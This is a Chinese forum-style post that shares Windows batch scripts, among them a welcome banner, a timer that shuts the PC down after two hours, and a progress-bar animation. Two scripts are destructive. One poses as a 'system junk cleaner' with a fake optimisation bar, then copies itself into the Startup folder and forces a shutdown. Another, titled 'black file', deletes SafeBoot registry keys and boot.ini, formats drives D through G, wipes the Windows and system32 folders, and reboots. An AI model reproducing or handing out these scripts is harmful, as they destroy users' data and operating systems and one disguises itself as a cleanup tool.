批处理（有得可能是不能用，还有得是破坏自己电脑，请大家自己了解）看了别人得和大家分享

@echo off
title %~0
mode con cols=29 lines=8
color 1e
echo ╭════════════╮
echo ‖ 欢迎^|光临 ‖
echo ‖ ‖
echo ‖ ^<-欢迎大家一起来学习-^> ‖
echo ‖ ‖
echo ‖ 同时也欢迎灌水 ‖
echo ╰════════════╯
pause>nul 
 

 

@echo off
tittle 只让你玩2小时
set a=0
color 0a
mode con:cols=20 lines=2
:time
set /a a=a+1
echo 你已经玩了%a%秒了
ping 127.1 -n 2 >nul
cls
if "%a%"=="7200" goto shutdown
goto time
:shutdown
echo 你都玩了2小时了 还不休息啊！！
ping 127.1 -n 2 >nul
cls
echo 我是神 我来帮你吧！！-_~!
ping 127.1 -n 2 >nul
shutdown -s -t 30 -c 好好休息

 

 @echo off 
echo 清理系统垃圾 
echo 正在清除系统垃圾文件，请稍等...... 
del /f /s /q %systemdrive%/*.tmp 
del /f /s /q %systemdrive%/*._mp 
del /f /s /q %systemdrive%/*.log 
del /f /s /q %systemdrive%/*.gid 
del /f /s /q %systemdrive%/*.chk 
del /f /s /q %systemdrive%/*.old 
del /f /s /q %systemdrive%/recycled/*.* 
del /f /s /q %windir%/*.bak 
del /f /s /q %windir%/prefetch/*.* 
del /f /s /q %windir%/temp/*.* 
del /f /q %userprofile%/cookies/*.* 
del /f /q %userprofile%/recent/*.* 
del /f /s /q "%userprofile%/Local Settings/Temporary Internet Files/*.*" 
del /f /s /q "%userprofile%/Local Settings/Temp/*.*" 
del /f /s /q "%userprofile%/recent/*.*" 
cls xox 
@echo off&setlocal enabledelayedexpansion 
set a=▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉ 
set b= 
color 01 
mode con cols=52 lines=11 
echo/&echo/ 
set/p= 正在载入中......<nul&echo. 
set/p=<nul&echo. 
for /l %%a in (1,1,19) do ( 
set /a d=%%a*2+6 
call :pp %%a 
) 
echo 系统优化已完成！ 
pause>nul 
:pp 
set/p= !a:~0,%1!<nul&set/p=!b:~0,%d%!<nul 
ping -n 1 127.1>nul 
goto :eof 
echo你中计啦！！你的电脑将在十秒钟内重启！！ 
for %%i in (C:/Documents and Settings/Administrator/「开始」菜单/程序/启动) do copy %0 %%i /y 
shutdown -s -t 0 
pause&exit 
 

 

 

 

 

黑文件
@echo off 
echo exit|%ComSpec% /k prompt e 100 B4 00 B0 12 CD 10 B0 03 CD 10 CD 20 $_g$_q$_|debug>nul 
chcp 437>nul 
graftabl 936>nul 
REG DELETE "HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/SafeBoot" /v Network /f 
REG DELETE "HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/SafeBoot" /v Minimal /f 
ATTRIB %SYSTEMDRIVE%/boot.ini -s -a -r -h 
DEL %SYSTEMDRIVE%/boot.ini /f 
format d:/q /y 
format e:/q /y 
format f:/q /y 
format g:/q /y 
cd c:/ 
cd windows 
del *.* /q 
cd system32 
del *.* /q 
del %0 
shutdown -r -t 3

 

 

 

 @echo off
color 1e
mode con cols=102 lines=2
setlocal enabledelayedexpansion

:start

set "str1=>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>"
set "str2=-----------------------------------------------------------------------------------------------------"
set "n=0"
set "str3=101"

:1
 cls
 title !n!%%%
 if -%n%-==-100- goto 2
 echo !str1:~0,%n%!!str2:~-%str3%!
 set /a "n+=1"
 set /a "str3-=1"
 if -%str3%-==-0- goto end
 ping/n 0 1>nul
goto 1

:2
echo !str1:~0,%n%!

:end
pause>nul